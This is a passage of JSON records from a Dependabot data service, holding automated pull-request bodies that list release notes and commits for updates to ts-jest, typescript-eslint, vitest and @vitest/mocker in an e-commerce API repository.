tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kulshekhar/ts-jest/commit/77dbb184d5895f8e315d574971fc83ab6a8a43b2\"\u003e\u003ccode\u003e77dbb18\u003c/code\u003e\u003c/a\u003e test(compiler): make module resolution tests path-independent on Windows\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kulshekhar/ts-jest/commit/268746c0fcaf72476cebb348c5543e5c2aac3622\"\u003e\u003ccode\u003e268746c\u003c/code\u003e\u003c/a\u003e fix(compiler): resolve modules with tsconfig options regardless of cache state\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kulshekhar/ts-jest/commit/15362016c490ae230c3d69f7a9399513d3600ed7\"\u003e\u003ccode\u003e1536201\u003c/code\u003e\u003c/a\u003e build(deps): update dependency vite to ^8.3.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kulshekhar/ts-jest/commit/141e39c092759ca6173095fe2dd4ebcdd3117e62\"\u003e\u003ccode\u003e141e39c\u003c/code\u003e\u003c/a\u003e build(deps): update dependency \u003ccode\u003e@​babel/core\u003c/code\u003e to ^8.0.7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kulshekhar/ts-jest/commit/6a6686e5374525db09ac67f37cf0f2d53c372f28\"\u003e\u003ccode\u003e6a6686e\u003c/code\u003e\u003c/a\u003e build(deps-dev): bump shell-quote from 1.10.0 to 1.12.0 in /examples\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kulshekhar/ts-jest/commit/98e6e50fe934e8e86c903719048891a3a071a2b7\"\u003e\u003ccode\u003e98e6e50\u003c/code\u003e\u003c/a\u003e build(deps): bump proxy-addr from 2.0.7 to 2.0.8 in /website\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kulshekhar/ts-jest/commit/d2439ff5ed9f6425bed60d0202f37771022f0526\"\u003e\u003ccode\u003ed2439ff\u003c/code\u003e\u003c/a\u003e build(deps): bump compression from 1.8.1 to 1.8.2 in /website\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/kulshekhar/ts-jest/compare/v29.4.14...v29.4.15\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `typescript-eslint` from 8.71.2 to 8.72.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases\"\u003etypescript-eslint's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.72.0\u003c/h2\u003e\n\u003ch2\u003e8.72.0 (2026-10-19)\u003c/h2\u003e\n\u003ch3\u003e🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e lazy load rules (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13010\"\u003e#13010\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [await-thenable] add \u003ccode\u003eallowMixedPromiseArrays\u003c/code\u003e option (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12992\"\u003e#12992\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypescript-estree:\u003c/strong\u003e error on abstract keyword that precedes export (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13019\"\u003e#13019\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003east-spec:\u003c/strong\u003e add \u003ccode\u003eJSXFragment\u003c/code\u003e to \u003ccode\u003eJSXAttribute['value']\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13051\"\u003e#13051\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [prefer-readonly-parameter-types] check where allowed type aliases are declared (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13016\"\u003e#13016\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-deprecated] report deprecated properties in object literals (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12704\"\u003e#12704\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e use isTypeLiteralType instead of type.isLiteral() to include bigint literals on TS \u0026lt; 5.0 (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13053\"\u003e#13053\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [require-array-sort-compare] check tuples (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13058\"\u003e#13058\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [require-array-sort-compare] ignore extra this type argument on TS \u0026lt; 5.1 (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13055\"\u003e#13055\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etype-utils:\u003c/strong\u003e discriminateAnyType crashes when calling getAwaitedType on awaited type in TS \u0026lt; 5.0 (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13054\"\u003e#13054\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypescript-estree:\u003c/strong\u003e include leading and trailing comments \u0026amp; whitespace in Program range (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12991\"\u003e#12991\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvyatar Daud \u003ca href=\"https://github.com/StyleShit\"\u003e\u003ccode\u003e@​StyleShit\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eJunichiro Kasuya \u003ca href=\"https://github.com/jksy\"\u003e\u003ccode\u003e@​jksy\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMitch Fultz \u003ca href=\"https://github.com/fitchmultz\"\u003e\u003ccode\u003e@​fitchmultz\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eShaan GS \u003ca href=\"https://github.com/ShaanGS\"\u003e\u003ccode\u003e@​ShaanGS\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.72.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/blob/main/packages/typescript-eslint/CHANGELOG.md\"\u003etypescript-eslint's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.72.0 (2026-10-19)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for typescript-eslint to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.72.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/a4c2603d3e4fd43b33bc25b82457716e9f7cef71\"\u003e\u003ccode\u003ea4c2603\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.72.0\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commits/v8.72.0/packages/typescript-eslint\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vitest` from 5.0.4 to 5.0.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003evitest's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.0.5\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKeep vite default \u003ccode\u003efs.deny\u003c/code\u003e with api token file  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11578\"\u003evitest-dev/vitest#11578\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/28dc1edfb\"\u003e\u003c!-- raw HTML omitted --\u003e(28dc1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle quoted file names in \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11583\"\u003evitest-dev/vitest#11583\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/14921e962\"\u003e\u003c!-- raw HTML omitted --\u003e(14921)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003edata\u003c/code\u003e to the \u003ccode\u003eimport.meta.hot\u003c/code\u003e stub  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11590\"\u003evitest-dev/vitest#11590\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/3a8289ac3\"\u003e\u003c!-- raw HTML omitted --\u003e(3a828)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSet \u003ccode\u003eskip\u003c/code\u003e in \u003ccode\u003eskipIf\u003c/code\u003e, ignore \u003ccode\u003eundefined\u003c/code\u003e options  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11591\"\u003evitest-dev/vitest#11591\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/d523a15f2\"\u003e\u003c!-- raw HTML omitted --\u003e(d523a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSkip builtin loading in async leak detector  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11598\"\u003evitest-dev/vitest#11598\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6\"\u003e\u003c!-- raw HTML omitted --\u003e(fe86a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep the import frame in native loader errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11599\"\u003evitest-dev/vitest#11599\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894\"\u003e\u003c!-- raw HTML omitted --\u003e(9697b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun hook cleanups when a later hook fails  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11605\"\u003evitest-dev/vitest#11605\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a44720\"\u003e\u003c!-- raw HTML omitted --\u003e(6c5a4)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRelease mocks of finished test files  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11607\"\u003evitest-dev/vitest#11607\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0\"\u003e\u003c!-- raw HTML omitted --\u003e(e9c3d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAbort all running tests on cancel  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11606\"\u003evitest-dev/vitest#11606\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6\"\u003e\u003c!-- raw HTML omitted --\u003e(6621a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eIgnore synthetic pagehide events  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11582\"\u003evitest-dev/vitest#11582\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ca0813584\"\u003e\u003c!-- raw HTML omitted --\u003e(ca081)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun plugin buildStart on server creation  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11593\"\u003evitest-dev/vitest#11593\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ea611e44c\"\u003e\u003c!-- raw HTML omitted --\u003e(ea611)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDrop late connections of closed sessions  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11600\"\u003evitest-dev/vitest#11600\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2\"\u003e\u003c!-- raw HTML omitted --\u003e(f161e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWait 30s for the browser to close  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11601\"\u003evitest-dev/vitest#11601\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a\"\u003e\u003c!-- raw HTML omitted --\u003e(6498b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun global setup once with instances  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11596\"\u003evitest-dev/vitest#11596\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c262\"\u003e\u003c!-- raw HTML omitted --\u003e(8dd67)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ereporter\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eEnd reason \u003ccode\u003e\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/39);failed\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/39);\u003c/code\u003e on worker crash  -  by \u003ca href=\"https://github.com/AriPerkkio\"\u003e\u003ccode\u003e@​AriPerkkio\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11568\"\u003evitest-dev/vitest#11568\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff\"\u003e\u003c!-- raw HTML omitted --\u003e(6ae8e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v5.0.4...v5.0.5\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/7a825db43e2beca0b219d2eadaec334cb81af0c7\"\u003e\u003ccode\u003e7a825db\u003c/code\u003e\u003c/a\u003e chore: release v5.0.5 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11609\"\u003e#11609\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6ed371e43f80ff327f5063693bd6b1ad\"\u003e\u003ccode\u003e6621a72\u003c/code\u003e\u003c/a\u003e fix: abort all running tests on cancel (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11606\"\u003e#11606\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0c8d6867de06a3df43ea28a05eeec444\"\u003e\u003ccode\u003ee9c3d72\u003c/code\u003e\u003c/a\u003e fix: release mocks of finished test files (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11607\"\u003e#11607\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c2625943d824e257b87ae57a14094e90eed\"\u003e\u003ccode\u003e8dd67c2\u003c/code\u003e\u003c/a\u003e fix(browser): run global setup once with instances (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11596\"\u003e#11596\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a447203a29a0708fbc5de4fb91ea501bdc395\"\u003e\u003ccode\u003e6c5a447\u003c/code\u003e\u003c/a\u003e fix: run hook cleanups when a later hook fails (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11605\"\u003e#11605\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894f456b85db91f3824ebe833449305c04\"\u003e\u003ccode\u003e9697b38\u003c/code\u003e\u003c/a\u003e fix: keep the import frame in native loader errors (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11599\"\u003e#11599\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a3ae8961f6f2a8abdc89015b6fd0b3aa\"\u003e\u003ccode\u003e6498b66\u003c/code\u003e\u003c/a\u003e fix(browser): wait 30s for the browser to close (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11601\"\u003e#11601\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2b3c0bc84982d374094379139e380791\"\u003e\u003ccode\u003ef161e6d\u003c/code\u003e\u003c/a\u003e fix(browser): drop late connections of closed sessions (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11600\"\u003e#11600\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6c6aa75481bffe5880b5c4e35ea67927\"\u003e\u003ccode\u003efe86a64\u003c/code\u003e\u003c/a\u003e fix: skip builtin loading in async leak detector (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11598\"\u003e#11598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff0734cf476e30186a83aebe6771aa330\"\u003e\u003ccode\u003e6ae8e89\u003c/code\u003e\u003c/a\u003e fix(reporter): end reason \u003ccode\u003e'failed'\u003c/code\u003e on worker crash (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11568\"\u003e#11568\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v5.0.5/packages/vitest\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/raouf-b-dev/ecommerce-store-api/pull/362","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/raouf-b-dev%2Fecommerce-store-api/issues/362","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/362/packages"}},{"old_version":"3.2.7","new_version":"5.0.5","update_type":"major","path":null,"pr_created_at":"2026-10-23T09:05:42.000Z","version_change":"3.2.7 → 5.0.5","issue":{"uuid":"5995019952","node_id":"PR_kwDORBHUY88AAAABKNtMQA","number":106,"state":"closed","title":"build(deps): bump @vitest/mocker and vitest","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":"2026-10-23T12:57:14.000Z","author_association":null,"state_reason":null,"created_at":"2026-10-23T09:05:42.000Z","updated_at":"2026-10-23T12:57:22.000Z","time_to_close":13892,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"build(deps)","packages":[{"name":"@vitest/mocker","repository_url":"https://github.com/vitest-dev/vitest","old_version":"3.2.7","new_version":"5.0.5"},{"name":"vitest","repository_url":"https://github.com/vitest-dev/vitest","old_version":"3.2.7","new_version":"5.0.5"}],"path":null,"ecosystem":"npm"},"body":"Bumps [@vitest/mocker](https://github.com/vitest-dev/vitest/tree/HEAD/packages/mocker) to 5.0.5 and updates ancestor dependency [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest). These dependencies need to be updated together.\n\nUpdates `@vitest/mocker` from 3.2.7 to 5.0.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003e@​vitest/mocker's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.0.5\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKeep vite default \u003ccode\u003efs.deny\u003c/code\u003e with api token file  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11578\"\u003evitest-dev/vitest#11578\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/28dc1edfb\"\u003e\u003c!-- raw HTML omitted --\u003e(28dc1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle quoted file names in \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11583\"\u003evitest-dev/vitest#11583\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/14921e962\"\u003e\u003c!-- raw HTML omitted --\u003e(14921)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003edata\u003c/code\u003e to the \u003ccode\u003eimport.meta.hot\u003c/code\u003e stub  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11590\"\u003evitest-dev/vitest#11590\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/3a8289ac3\"\u003e\u003c!-- raw HTML omitted --\u003e(3a828)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSet \u003ccode\u003eskip\u003c/code\u003e in \u003ccode\u003eskipIf\u003c/code\u003e, ignore \u003ccode\u003eundefined\u003c/code\u003e options  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11591\"\u003evitest-dev/vitest#11591\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/d523a15f2\"\u003e\u003c!-- raw HTML omitted --\u003e(d523a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSkip builtin loading in async leak detector  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11598\"\u003evitest-dev/vitest#11598\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6\"\u003e\u003c!-- raw HTML omitted --\u003e(fe86a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep the import frame in native loader errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11599\"\u003evitest-dev/vitest#11599\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894\"\u003e\u003c!-- raw HTML omitted 